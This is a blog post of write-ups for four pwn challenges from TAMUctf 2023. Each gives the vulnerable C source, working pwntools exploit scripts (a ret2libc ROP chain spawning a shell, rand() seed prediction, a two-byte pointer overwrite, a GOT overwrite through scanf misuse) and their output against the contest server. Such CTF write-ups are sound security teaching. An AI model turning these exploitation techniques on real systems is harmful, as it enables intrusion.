Home TAMUctf 2023
Post
Cancel

TAMUctf 2023

I did some of the pwn-challenges from TAMUctf 2023, which was a 48 hour ctf. The following writeups are for the pwn-challenges I solved. Their github repo with the challenges can be found here.

Inspector Gadget

Points: 339
Author: _mac_

Inspector Gadget gave me this binary with one goal. pwn.

We are given a binary and a libc with the challenge. Reversing the binary reveals the following functions

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void main(){
    setup();
    puts("i\'ve got 2 words for ya");
    pwnme();
    puts("cool.");
    return;
}

void pwnme(void){
  char input [16];
  puts("pwn me");
  read(0,input,0x60);
  return;
}

The setup function is just a standard setup function for buffering, so it is nothing to have a look at.

The protections on the binary are

1
2
3
4
5
6
7
$ checksec ./inspector-gadget
[*] '~/tamuctf/pwn/inspector_gadget/inspector-gadget'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

which means that this is a “standard” ROP exploit. I’ve covered this exploit in other posts, so I will not go too much into detail here, and will only provide the exploit I ended up using (without manually having to find gadgers). More detailed explanations of challenges exactly like this one can be found in my writeups for Remote tamagOtchi Pet and gaga2 from UiTHack23 and Ångstrom 2023.

The offset to the rip address on the stack were 24, and we had to align the stack with a ret instruction for our second payload.

The final exploit ended up being

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
io = start()
offset = 24
libc = ELF("libc.so.6", checksec=False)
io.recvuntil(b"pwn me")

rop = ROP(exe)
rop.raw(b"\x90" * offset)
rop.puts(exe.got.puts)
rop.main()

io.sendline(rop.chain())
io.recvline()

puts_leak = u64(io.recvline().rstrip().ljust(8, b"\x00"))
log.success(f"Puts @ {hex(puts_leak)}")
libc.address = puts_leak - libc.sym.puts
log.success(f"Libc @ {hex(libc.address)}")

rop = ROP(libc)
rop.raw(b"\x90" * offset)
rop.raw(0x401016) # ret
rop.system(next(libc.search(b"/bin/sh\x00")))

io.recvuntil(b"pwn me")
io.sendline(rop.chain())

io.interactive()

which when ran gives a shell on the server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ python3 exploit.py
[+] Opening connection to tamuctf.com on port 443: Done
[*] Loaded 14 cached gadgets for './inspector-gadget'
[+] Puts @ 0x7fa81f695a40
[+] Libc @ 0x7fa81f624000
[*] Loaded 200 cached gadgets for 'libc.so.6'
[*] Switching to interactive mode

$ ls
docker_entrypoint.sh
flag.txt
inspector-gadget
$ cat flag.txt
gigem{ret2libc_r0p_g04t3d}

Unlucky

Points: 398
Author: nhwn

Luck won’t save you here. Have fun trying to get the flag!

We are given the source code along with the challenge binary, so no reversing needed for this challenge. The source code were the following

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdio.h>
#include <stdlib.h>

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);

    static int seed = 69;
    srand(&seed);
    printf("Here's a lucky number: %p\n", &main);

    int lol = 1;
    int input = 0;
    for (int i = 1; i <= 7; ++i) {
        printf("Enter lucky number #%d:\n", i);
        scanf("%d", &input);
        if (rand() != input) {
            lol = 0;
        }
    }
    if (lol) {
        char flag[64] = {0};
        FILE* f = fopen("flag.txt", "r");
        fread(flag, 1, sizeof(flag), f);
        printf("Nice work, here's the flag: %s\n", flag);
    } else {
        puts("How unlucky :pensive:");
    }
}

We see that it sets a seed variable to 69 then passes its address srand(&seed); (not the value) to the srand function, setting the seed for the random number generation. We then have to guess the 7 first numbers generated by rand to get the flag.

The binary protections are

1
2
3
4
5
6
7
$ checksec ./unlucky
[*] '~/tamuctf/pwn/unlucky/unlucky'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

Since PIE is enabled we would not know the address of the seed variable, which is the value passed into srand, but since the source code prints the address of the main function we can easily bypass the PIE and calculate this address. It is done easily by capturing the address of main and then do some plus and minus

1
2
main = io.recvline().strip().decode()
seed = int(main, 16) - exe.sym.main + exe.sym["seed.2870"]

Knowing the value passed to srand we can create our own C-program which uses the same seed, and print the 7 first values (there are probably more elegant ways of getting the values through python, but this approach was faster imo)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>
#include <stdlib.h>

int main(){
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
    srand(94733942534248);
    printf("Here's a lucky number: %p\n", &main);

    for (int i = 1; i <= 7; ++i)
    {
        printf("Enter lucky number #%d:\n", rand());
    }
}

I then just had to pass the values manually into the prompt from the server to get the flag. The full exploit ended up being really short in this case

1
2
3
4
5
6
io = start()
io.recvuntil(b"number: ")
main = io.recvline().strip().decode()
seed = int(main, 16) - exe.sym.main + exe.sym["seed.2870"]
log.success(f"Seed: {seed}")
io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ python3 exploit.py
[+] Opening connection to tamuctf.com on port 443: Done
[+] Seed: 94733942534248
[*] Switching to interactive mode
Enter lucky number #1:
$ 1077609443
Enter lucky number #2:
$ 1308563130
Enter lucky number #3:
$ 720167052
Enter lucky number #4:
$ 1033907150
Enter lucky number #5:
$ 1542314494
Enter lucky number #6:
$ 1531663110
Enter lucky number #7:
$ 1953119393
Nice work, here's the flag: gigem{1_n33d_b3tt3r_3ntr0py_s0urc3s}

Pointers

Points: 421
Author: anomie

I’ve been messing with pointers lately which never goes wrong, right?

We are given the source code in addition to the binary for this challenge

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
#include <unistd.h>

void upkeep() {
    // Not related to the challenge, just some stuff so the remote works correctly
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
}

void win() {
    char* argv[] = {"/bin/cat", "flag.txt", NULL};
    execve(argv[0], argv, NULL);
}

void lose() {
    char* argv[] = {"/bin/echo", "loser", NULL};
    execve(argv[0], argv, NULL);
}

void vuln() {
    char buf[010];
    printf("Interaction pls: ");
    read(0, buf, 10);
}

int main() {
    upkeep();
    void* func_ptrs[] = {lose, win};
    printf("All my functions are being stored at %p\n", func_ptrs);

    vuln();
    void (*poggers)() = func_ptrs[0];
    poggers();
}

The binary protections are

1
2
3
4
5
6
7
$ checksec ./pointers
[*] '~/tamuctf/pwn/pointers/pointers'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

The goal is to call the win function. We can see that we are given the address of the array containing the lose and win functions, where the function at the first index (lose in this case) is being called after the vuln function.

In the vul function we see a weird buffer-size char buf[010];. The size of the buffer is specified in octal format, giving it a size of 8 bytes. Following the declaration of the buffer we read in 10 bytes, read(0, buf, 10);. We have an overflow of 2 bytes!

When setting a breakpoint at the vuln call in pwndgb we can see the values on the stack at the pointer which is leaked, which to no surprise stores the lose and win functions Stack functions

With our 2 byte overwrite we end up overwriting the rbp register address, which gives us the ability to get the win function called.

I got the exploit working locally with this exploit script

1
2
3
4
5
6
7
8
9
10
11
12
13
io = start()
io.recvuntil(b"stored at ")
pointers = io.recvline().rstrip()
log.info(f"Pointers @ {hex(int(pointers,16))}")

lsb = pointers[-4:]
win = bytes((int(lsb, 16)).to_bytes(2, byteorder='little'))
payload = b"\x90"*8
payload += win

io.recvuntil(b"pls:")
io.sendline(payload)
io.interactive()
1
2
3
4
5
6
$ python3 exploit.py LOCAL
[+] Starting local process '~/tamuctf/pwn/pointers/pointers': pid 11454
[*] Pointers @ 0x7ffca0332700
[*] Switching to interactive mode
 [*] Process '~/tamuctf/pwn/pointers/pointers' stopped with exit code 0 (pid 11454)
flag{f4k3_fl4g}

But it did not work on the remote server

1
2
3
4
$ python3 exploit.py
[+] Opening connection to tamuctf.com on port 443: Done
[*] Pointers @ 0x7ffd47614460
[*] Switching to interactive mode

This was a bit annoying, because there were no Dockerfile stating what OS-version the server were running, so I couldn’t create a similar local environment to debug in. I therefore couldn’t know what was wrong with my exploit, since it was impossible to debug, so I felt like I ended up in some blind ROP state. By subtracting -8 from the address I used for the 2-byte overwrite I could get the lose function to trigger both remote and locally, but +8 to that win triggered only locally.

After attempting to find other exploit methods I ended up just trying to add and subtract different 8-aligned values to my 2-byte overwrite. Eventually it gave me the flag at +40.

The exploit script working remote ended up being

1
2
3
4
5
6
7
8
9
10
11
12
13
io = start()
io.recvuntil(b"stored at ")
pointers = io.recvline().rstrip()
log.info(f"Pointers @ {hex(int(pointers,16))}")

lsb = pointers[-4:]
win = bytes((int(lsb, 16)+40).to_bytes(2, byteorder='little'))
payload = b"\x90"*8
payload += win

io.recvuntil(b"pls:")
io.sendline(payload)
io.interactive()
1
2
3
4
5
$ python3 exploit.py
[+] Opening connection to tamuctf.com on port 443: Done
[*] Pointers @ 0x7ffd84941c60
[*] Switching to interactive mode
 gigem{small_overflows_are_still_effective}

+40 worked both locally and remotely, which means that +32 would call the lose function, right?

1
2
3
4
5
 python3 exploit.py
[+] Opening connection to tamuctf.com on port 443: Done
[*] Pointers @ 0x7fff2ce80870
[*] Switching to interactive mode
 loser

Yup it does, which it did locally for offset -8 also, but not on the server… I’m not sure what OS they ran, but if its Ubuntu 20.04 (which I used locally) this would make even less sense to me… But that’s how pwn-challenges are sometimes ¯\(ツ)

Randomness

Points: 428
Author: anomie
I made this program to test how srand and rand work, but it keeps segfaulting. I don’t read compiler warnings so I can’t figure out why it’s broken.

We are given the source code for this challenge as well

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void upkeep() {
    // Not related to the challenge, just some stuff so the remote works correctly
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
}

void win() {
    char* argv[] = {"/bin/cat", "flag.txt", NULL};
    execve(argv[0], argv, NULL);
}

void foo() {
    unsigned long seed;
    puts("Enter a seed:");
    scanf("%lu", &seed);
    srand(seed);
}

void bar() {
    unsigned long a;
    puts("Enter your guess:");
    scanf("%lu", a);
    if (rand() == a) {
        puts("correct!");
    } else {
        puts("incorrect!");
    }
}

int main() {
    upkeep();
    puts("hello!");
    foo();
    bar();
    puts("goodbye!");
}

The goal is to call win. The binary has the following protections

1
2
3
4
5
6
7
$ checksec ./randomness
[*] '~/tamuctf/pwn/randomness/randomness'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

No RELRO? Interesting…

This line of code from the bar function is vulnerable to an overflow: scanf("%lu", a);. The correct use would be scanf("%lu", &a);.

I came over a similar challenge (I unfortunately can’t remember where I read it) that said something about variable-addresses used in one function could be set as values for uninitialized variables in later functions (meaning that the values stored are not nulled out after use). I decided to test this with pwndbg on the binary by checking if the a variable in bar when uninitialized would store the value I pass to seed in the foo function.

I set breakpoints at both foo and bar and passed the value 41414141 as the seed (which is equvivalent to 0x277edfd in hex)

1
2
3
4
5
pwndbg> r
Starting program: ~/tamuctf/pwn/randomness/randomness
hello!
Enter a seed:
41414141

Scanf overwrite

We can see that the scanf call will write what we input into the address corresponding to the value of a, meaning that in this case our input will be written to the address 0x277edfd. This is not an address we can write to, so in this case our program will segfault.

However, since we can choose the address to write to, and the value to write we have a write what where vulnerabiltiy because of this scanf-misuse.

Remember that it is not FULL RELRO on the binary? This means that we can overwrite functions in the GOT! If you’re not aware of what the GOT is you could imagine it as a shortcut to calling functions. When a function is called for the first time it has to be look up, before its address is stored in the GOT, and the GOT is used for subsequent calls (thats the short version at least).

puts seems the best to overwrite since its initialized in the GOT when bar is called, and puts is also called after our scanf in bar. We will therefore overwrite the puts address in the GOT to the win function address, making the next puts call after our scanf call call win for us.

The exploit is quite short to do this

1
2
3
4
io = start()
io.sendlineafter(b"seed:", str(exe.got.puts).encode())
io.sendlineafter(b"guess:", str(exe.sym.win).encode())
io.interactive()
1
2
3
4
5
$ python3 exploit.py
[+] Opening connection to tamuctf.com on port 443: Done
[*] Switching to interactive mode

gigem{value_or_pointer_is_an_important_distinction}
This post is licensed under CC BY 4.0 by the author.